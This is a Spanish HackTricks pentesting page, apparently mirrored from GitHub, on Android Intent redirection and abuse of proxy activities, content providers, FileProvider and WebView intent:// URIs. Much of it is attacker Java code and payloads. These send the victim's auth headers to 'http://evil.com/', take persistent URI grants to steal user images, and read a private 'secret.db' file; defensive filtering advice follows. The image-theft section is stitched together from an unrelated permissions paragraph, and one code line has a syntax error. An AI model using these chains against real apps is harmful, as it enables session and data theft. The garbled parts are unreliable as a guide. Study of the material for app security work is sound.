mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
260 lines
17 KiB
Markdown
260 lines
17 KiB
Markdown
|
# Introducción
|
||
|
|
||
|
Esta vulnerabilidad se asemeja a la **Redirección Abierta en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **los objetos que pertenecen a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`. \
|
||
|
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman un Intent incrustado y lo pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||
|
Esto es peligroso porque **un atacante puede forzar a la aplicación a lanzar un componente no exportado que no puede ser lanzado directamente desde otra aplicación**, o para otorgar al atacante acceso a sus proveedores de contenido. **`WebView`** también a veces cambia una **URL de una cadena a un objeto `Intent`**, usando el método `Intent.parseUri(...)` y lo pasa a `startActivity(...)`.
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
En resumen: si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos.
|
||
|
{% endhint %}
|
||
|
|
||
|
# Un caso típico
|
||
|
|
||
|
Examinemos un ejemplo. Fragmento del archivo `AndroidManifest.xml`
|
||
|
```markup
|
||
|
<activity android:name=".ProxyActivity" android:exported="true" />
|
||
|
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||
|
```
|
||
|
Actividad `ProxyActivity`
|
||
|
```java
|
||
|
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||
|
```
|
||
|
Actividad `AuthWebViewActivity`
|
||
|
```java
|
||
|
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||
|
```
|
||
|
`AuthWebViewActivity` es un ejemplo de **funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras**, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro `url`.
|
||
|
|
||
|
Las restricciones de exportación significan que **el atacante no puede acceder directamente a `AuthWebViewActivity`**. Una llamada directa...
|
||
|
```java
|
||
|
Intent intent = new Intent();
|
||
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
|
intent.putExtra("url", "http://evil.com/");
|
||
|
startActivity(intent);
|
||
|
```
|
||
|
lanza una `java.lang.SecurityException`, debido a la `Negación de Permiso`: `AuthWebViewActivity no exportado desde el uid 1337`.
|
||
|
|
||
|
Pero el atacante puede **forzar al usuario a lanzar `AuthWebViewActivity` por sí mismo**:
|
||
|
```java
|
||
|
Intent extra = new Intent();
|
||
|
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
|
extra.putExtra("url", "http://evil.com/");
|
||
|
|
||
|
Intent intent = new Intent();
|
||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
|
intent.putExtra("extra_intent", extra);
|
||
|
startActivity(intent);
|
||
|
```
|
||
|
y no surgirá ninguna violación de seguridad, porque **la aplicación que está siendo atacada tiene acceso a todos sus propios componentes**. Usando este fragmento de código, el atacante puede evitar las restricciones incorporadas del sistema Android.
|
||
|
|
||
|
# Escalación del impacto
|
||
|
|
||
|
Para aumentar el impacto de esta vulnerabilidad, es necesario **encontrar otras vulnerabilidades/configuraciones incorrectas que permitan aumentar el impacto de la vulnerabilidad** (ya que la vulnerabilidad por sí sola no crea ningún riesgo).
|
||
|
|
||
|
## Escalación de ataques a través de proveedores de contenido
|
||
|
|
||
|
Además del acceso a componentes arbitrarios de la aplicación original, el **atacante puede intentar obtener acceso a aquellos Proveedores de Contenido de la aplicación vulnerable** que satisfagan las siguientes condiciones:
|
||
|
|
||
|
* debe estar **no exportado** (de lo contrario, **podría ser atacado directamente**, sin usar la vulnerabilidad que estamos discutiendo en este artículo)
|
||
|
* debe tener el indicador **`android:grantUriPermissions`** establecido en **`true`**.
|
||
|
* `android:grantUriPermissions="true"` indica que su código Java puede usar `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION` para **cualquier `Uri` servido por ese `ContentProvider`**.
|
||
|
* `android:grantUriPermissions="false"` indica que **solo los valores `Uri` especificados por los elementos secundarios `<grant-uri-permission>`** pueden ser utilizados con `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||
|
|
||
|
El atacante debe establecerse como el destinatario de un intento incrustado y establecer las siguientes indicaciones:
|
||
|
|
||
|
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite el acceso persistente al proveedor (sin esta indicación, el acceso es solo una vez)
|
||
|
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite el acceso URI por prefijo - por ejemplo, en lugar de obtener acceso separado repetidamente utilizando una ruta completa como `content://com.victim.provider/image/1`, el atacante puede otorgar acceso a todo el contenido del proveedor utilizando el URI `content://com.victim.provider/` y luego usar `ContentResolver` para abordar `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||
|
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operaciones de lectura en el proveedor (como `query`, `openFile`, `openAssetFile`)
|
||
|
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operaciones de escritura
|
||
|
|
||
|
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`.
|
||
|
```markup
|
||
|
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||
|
```
|
||
|
# Ejemplo de robo de imágenes de usuario en el archivo `AndroidManifest.xml`
|
||
|
|
||
|
Un atacante puede robar imágenes de usuario si la aplicación tiene permisos para acceder a la galería de imágenes del dispositivo. Para verificar si la aplicación tiene este permiso, podemos buscar en el archivo `AndroidManifest.xml` de la aplicación.
|
||
|
|
||
|
```xml
|
||
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||
|
```
|
||
|
|
||
|
Si encontramos esta línea en el archivo `AndroidManifest.xml`, significa que la aplicación tiene permiso para leer imágenes de la galería del dispositivo. El atacante puede aprovechar este permiso para robar imágenes de usuario sin su conocimiento.
|
||
|
|
||
|
Para evitar este tipo de ataque, los desarrolladores deben asegurarse de que su aplicación solo solicite los permisos necesarios y que los usuarios estén informados sobre los permisos que se solicitan.
|
||
|
```markup
|
||
|
<activity android:name=".LeakActivity" android:exported="true" />
|
||
|
```
|
||
|
Archivo `MainActivity.java`
|
||
|
```java
|
||
|
Intent extra = new Intent();
|
||
|
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||
|
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||
|
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||
|
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
|
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||
|
|
||
|
Intent intent = new Intent();
|
||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
|
intent.putExtra("extra_intent", extra);
|
||
|
startActivity(intent);
|
||
|
```
|
||
|
`LeakActivity.java`
|
||
|
```java
|
||
|
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||
|
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||
|
```
|
||
|
## Ataques al proveedor de archivos de Android
|
||
|
|
||
|
Esta vulnerabilidad también hace posible que el atacante **robe archivos de aplicaciones** ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita **obtener derechos de acceso al proveedor de archivos de Android y luego leer el contenido del proveedor de archivos usando Android ContentResolver**.
|
||
|
|
||
|
Proveedor de archivos de ejemplo (para más detalles, consulte [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||
|
```markup
|
||
|
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
|
||
|
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
|
||
|
</provider>
|
||
|
```
|
||
|
Proporciona acceso de lectura/escritura a archivos en una lista especial que se puede encontrar en los recursos de la aplicación, en este caso en `res/xml/provider_paths.xml`.
|
||
|
|
||
|
Puede parecer algo así:
|
||
|
```markup
|
||
|
<?xml version="1.0" encoding="utf-8"?>
|
||
|
<paths>
|
||
|
<root-path name="root" path=""/>
|
||
|
<files-path name="internal_files" path="."/>
|
||
|
<cache-path name="cache" path=""/>
|
||
|
<external-path name="external_files" path="images"/>
|
||
|
</paths>
|
||
|
```
|
||
|
Cada etiqueta especifica un directorio raíz con un valor `path` relativo al mismo. Por ejemplo, el valor `external_files` corresponderá a `new File(Environment.getExternalStorageDirectory(), "images")`.
|
||
|
|
||
|
El valor `root-path` corresponde a `/`, es decir, proporciona acceso a archivos arbitrarios.
|
||
|
|
||
|
Supongamos que tenemos algunos datos secretos almacenados en el archivo `/data/data/com.victim/databases/secret.db`: el robo de este archivo puede parecer algo así como esto en `MainActivity.java`.
|
||
|
```java
|
||
|
Intent extra = new Intent();
|
||
|
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||
|
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||
|
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||
|
|
||
|
Intent intent = new Intent();
|
||
|
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||
|
intent.putExtra("extra_intent", extra);
|
||
|
startActivity(intent);
|
||
|
```
|
||
|
`LeakActivity.java`
|
||
|
```java
|
||
|
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||
|
```
|
||
|
## Acceso a componentes arbitrarios a través de WebView
|
||
|
|
||
|
Un objeto Intent puede ser convertido a una cadena con una llamada a `Intent.toUri(flags)` y de vuelta de una cadena a un Intent usando `Intent.parseUri(stringUri, flags)`. Esta funcionalidad es a menudo utilizada en WebView (el navegador integrado de la aplicación): la **aplicación puede verificar un esquema `intent://`, analizar la URL en un Intent y lanzar la actividad**.
|
||
|
|
||
|
**Esta vulnerabilidad puede ser explotada tanto a través de otras vulnerabilidades** (por ejemplo, la capacidad de abrir enlaces arbitrarios en la aplicación en WebView directamente a través de actividades exportadas o mediante el mecanismo deeplink) en la aplicación cliente y también de forma remota, incluyendo scripting entre sitios en el lado del servidor o MitM en el lado del cliente.
|
||
|
|
||
|
Ejemplo de código vulnerable
|
||
|
```java
|
||
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
|
Uri uri = request.getUrl();
|
||
|
if("intent".equals(uri.getScheme())) {
|
||
|
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||
|
return true;
|
||
|
}
|
||
|
return super.shouldOverrideUrlLoading(view, request);
|
||
|
}
|
||
|
```
|
||
|
El punto aquí es que el método `shouldOverrideUrlLoading(...)` de la clase `WebViewClient` es llamado cada vez que WebView intenta cargar un nuevo enlace, pero da la opción a la aplicación de agregar un manejador personalizado.
|
||
|
|
||
|
Para explotar esta vulnerabilidad, el atacante necesita crear una redirección de WebView a una URL de esquema de intentos especialmente preparada. Ejemplo de creación de URL:
|
||
|
```java
|
||
|
Intent intent = new Intent();
|
||
|
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||
|
intent.putExtra("url", "http://evil.com/");
|
||
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||
|
```
|
||
|
Ataque de ejemplo
|
||
|
```java
|
||
|
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||
|
```
|
||
|
Esta versión contiene **varias restricciones en comparación con la versión clásica** de la vulnerabilidad:
|
||
|
|
||
|
* Los objetos `Parcelable` y `Serializable` incrustados no se pueden convertir a cadena (se ignorarán)
|
||
|
* Las banderas inseguras `Intent.FLAG_GRANT_READ_URI_PERMISSION` e `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` son **ignoradas** cuando se llama a `Intent.parseUri(...)`. El analizador solo las dejará si se establece la bandera `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`), lo cual es muy raro.
|
||
|
|
||
|
Muchos desarrolladores todavía olvidan realizar un filtrado completo de los intents recibidos a través de WebView.
|
||
|
```java
|
||
|
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||
|
Uri uri = request.getUrl();
|
||
|
if("intent".equals(uri.getScheme())) {
|
||
|
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||
|
intent.addCategory("android.intent.category.BROWSABLE");
|
||
|
intent.setComponent(null);
|
||
|
startActivity(intent);
|
||
|
return true;
|
||
|
}
|
||
|
return super.shouldOverrideUrlLoading(view, request);
|
||
|
}
|
||
|
```
|
||
|
El atacante puede especificar un componente no exportado a través de un selector.
|
||
|
```java
|
||
|
Intent intent = new Intent();
|
||
|
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||
|
intent.putExtra("url", "http://evil.com/");
|
||
|
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||
|
```
|
||
|
Y evitar la protección de la aplicación contra intents explícitos. Por lo tanto, recomendamos filtrar también el selector.
|
||
|
```java
|
||
|
intent.addCategory("android.intent.category.BROWSABLE");
|
||
|
intent.setComponent(null);
|
||
|
intent.setSelector(null);
|
||
|
```
|
||
|
Pero incluso un filtrado completo no garantiza una protección completa, ya que un atacante puede crear un intento implícito correspondiente al `intent-filter` de alguna actividad no exportada. Ejemplo de declaración de actividad:
|
||
|
```markup
|
||
|
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||
|
<intent-filter>
|
||
|
<action android:name="android.intent.action.VIEW" />
|
||
|
<category android:name="android.intent.category.DEFAULT" />
|
||
|
<data android:scheme="victim" android:host="secure_handler" />
|
||
|
</intent-filter>
|
||
|
</activity>
|
||
|
```
|
||
|
|
||
|
```java
|
||
|
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||
|
```
|
||
|
Por lo tanto, recomendamos verificar que una actividad esté exportada antes de que se lance.
|
||
|
|
||
|
## Otras formas de crear intents inseguros
|
||
|
|
||
|
Algunos desarrolladores de aplicaciones implementan sus propios analizadores de intents (a menudo para manejar deeplinks o mensajes push), utilizando objetos JSON, cadenas o matrices de bytes, que no difieren del valor predeterminado o presentan un gran peligro, porque pueden expandir objetos `Serializable` y `Parcelable` y también permiten establecer banderas inseguras. El investigador de seguridad también puede encontrar versiones más exóticas de creación de intents, como la conversión de una matriz de bytes a un `Parcel` y luego leer un intent desde él.
|
||
|
```java
|
||
|
Uri deeplinkUri = getIntent().getData();
|
||
|
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||
|
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||
|
Parcel parcel = Parcel.obtain();
|
||
|
parcel.unmarshall(handle, 0, handle.length);
|
||
|
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||
|
}
|
||
|
```
|
||
|
# Aplicación vulnerable
|
||
|
|
||
|
{% embed url="https://github.com/oversecured/ovaa" %}
|
||
|
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|